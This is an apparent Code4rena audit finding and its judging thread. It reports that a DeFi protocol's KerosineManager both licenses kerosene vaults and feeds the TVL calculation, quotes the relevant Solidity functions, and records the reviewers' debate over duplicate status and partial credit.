Hi @koolexcrypto This issue becomes a dup with #977 (a valid issue) but still with unsatisfactory label.
#5 - c4-judge
2024-05-29T07:02:33Z
koolexcrypto marked the issue as satisfactory
🌟 Selected for report: carrotsmuggler
Also found by: 0xAlix2, 0xSecuri, 0xleadwizard, 0xlemon, 0xtankr, 3th, Aamir, Abdessamed, Bauchibred, Circolors, Egis_Security, Evo, Hueber, Mahmud, SBSecurity, TheSavageTeddy, TheSchnilch, Tychai0s, alix40, bbl4de, btk, d3e4, ducanh2706, falconhoof, itsabinashb, ke1caM, lian886, n4nika, oakcobalt, pontifex, sashik_eth, steadyman, tchkvsky, zhuying
1.8604 USDC - $1.86
It is mentioned in the docs that the TVL calculation in Vault.kerosine.unbounded
should not include the kerosene itself:
C: the total USD value of all exogenous collateral in the protocol (TVL). Critically, this total does not include Kerosene itself
If we examine the TVL calculation, we can see that the vaults included in the calculation are the ones returned by the KerosineManager
contract:
function assetPrice() public view override returns (uint) { uint tvl; address[] memory vaults = kerosineManager.getVaults(); // <----------------- uint numberOfVaults = vaults.length; for (uint i = 0; i < numberOfVaults; i++) { Vault vault = Vault(vaults[i]); tvl += vault.asset().balanceOf(address(vault)) * vault.assetPrice() * 1e18 / (10**vault.asset().decimals()) / (10**vault.oracle().decimals()); } uint numerator = tvl - dyad.totalSupply(); uint denominator = kerosineDenominator.denominator(); return numerator * 1e8 / denominator; }
This indicates that KerosineManager
should manage always non-kerosene vaults. However, in VaultManagerV2
and according to the docs also, it is clearly visible that a DNft can add a kerosene vault to deposit into it as collateral, and the vault should be licensed from KeroseneManager
contract:
// VaultManagerV2.sol function addKerosene( uint id, address vault ) external isDNftOwner(id) { if (vaultsKerosene[id].length() >= MAX_VAULTS_KEROSENE) revert TooManyVaults(); if (!keroseneManager.isLicensed(vault)) revert VaultNotLicensed(); // @audit The vault should be licensed from the keroseneManager if (!vaultsKerosene[id].add(vault)) revert VaultAlreadyAdded(); emit Added(id, vault); }
And for the kerosene vault to be licensed by the KeroseneManager
, it must be added to its vaults list:
// KerosineManager.sol function add( address vault ) external onlyOwner { if (vaults.length() >= MAX_VAULTS) revert TooManyVaults(); if (!vaults.add(vault)) revert VaultAlreadyAdded(); } function isLicensed( address vault ) external view returns (bool) { return vaults.contains(vault); }
This feature (users can add kerosine vaults and deposit to them as collateral) is contradictory with the fact that TVL calculation should not include kerosene vaults because the KerosineManager
is used in both actions.
The issue is not with the feature depositing Kerosine tokens as collateral, but it is with the fact that KerosineManager
is used in both licensing Kerosine vaults and in the TVL calculation
If the owner licenses one kerosine vault in KerosineManager
so DNfts can deposit into them, TVL calculation will include kerosine tokens.
Manual review
Consider adding a separate contract to manage licensing kerosene vaults for deposits
Context
#0 - c4-pre-sort
2024-04-28T18:04:59Z
JustDravee marked the issue as duplicate of #70
#1 - c4-pre-sort
2024-04-29T09:37:12Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-11T19:57:49Z
koolexcrypto marked the issue as satisfactory
#3 - c4-judge
2024-05-12T11:12:15Z
koolexcrypto marked the issue as not a duplicate
#4 - c4-judge
2024-05-12T11:12:19Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#5 - Brivan-26
2024-05-15T20:08:53Z
Hi @koolexcrypto This issue demonstrates the same finding in issue #70
#6 - koolexcrypto
2024-05-20T14:24:51Z
I would say it is not 100% clear that you are pointing to the exact same issue i.e. getKeroseneValue
.
For this, I would mark it as a duplicate, though with partial credit.
#7 - c4-judge
2024-05-20T14:25:25Z
koolexcrypto removed the grade
#8 - c4-judge
2024-05-20T14:26:35Z
koolexcrypto marked the issue as duplicate of #70
#9 - c4-judge
2024-05-20T14:26:40Z
koolexcrypto marked the issue as partial-50
#10 - c4-judge
2024-05-20T14:51:55Z
koolexcrypto changed the severity to 2 (Med Risk)
#11 - Brivan-26
2024-05-20T16:22:57Z
Thank you @koolexcrypto for giving it another look.
Why not pointing to getKeroseneValue
does not give full credit? There are a lot of duplicates that didn't mention it and still got full credit, e.g. #1229 , #694
This issue and #70 highlight the fact that kerosene can be included in the TVL calculation. I have successfully described the wrong calculation of the TVL (in assetPrice
) and I have successfully described the root reason for that (Kerosene vaults can be added to KeroseneManager
).
#70 included getKeroseneValue
just for further explanation